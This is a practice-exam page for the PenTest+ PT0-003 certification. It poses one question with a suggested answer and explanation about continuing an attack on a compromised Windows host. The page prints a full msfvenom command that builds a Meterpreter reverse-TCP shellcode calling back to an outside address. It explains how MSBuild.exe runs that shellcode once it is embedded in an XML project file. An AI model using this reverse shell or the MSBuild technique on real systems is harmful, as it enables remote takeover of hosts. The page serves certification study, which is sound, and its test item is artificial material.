ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 36 - PT0-003 discussion

Report
Export

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp

The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

A.
regsvr32 /s /n /u C:\evil.xml
Answers
A.
regsvr32 /s /n /u C:\evil.xml
B.
MSBuild.exe C:\evil.xml
Answers
B.
MSBuild.exe C:\evil.xml
C.
mshta.exe C:\evil.xml
Answers
C.
mshta.exe C:\evil.xml
D.
AppInstaller.exe C:\evil.xml
Answers
D.
AppInstaller.exe C:\evil.xml
Suggested answer: B

Explanation:

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:

Understanding MSBuild.exe:

Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.

Command Usage:

Command: MSBuild.exe C:\evil.xml

Comparison with Other Commands:

regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.

mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.

AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.

Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.

asked 02/10/2024
Mark Josef Delos Santos
32 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first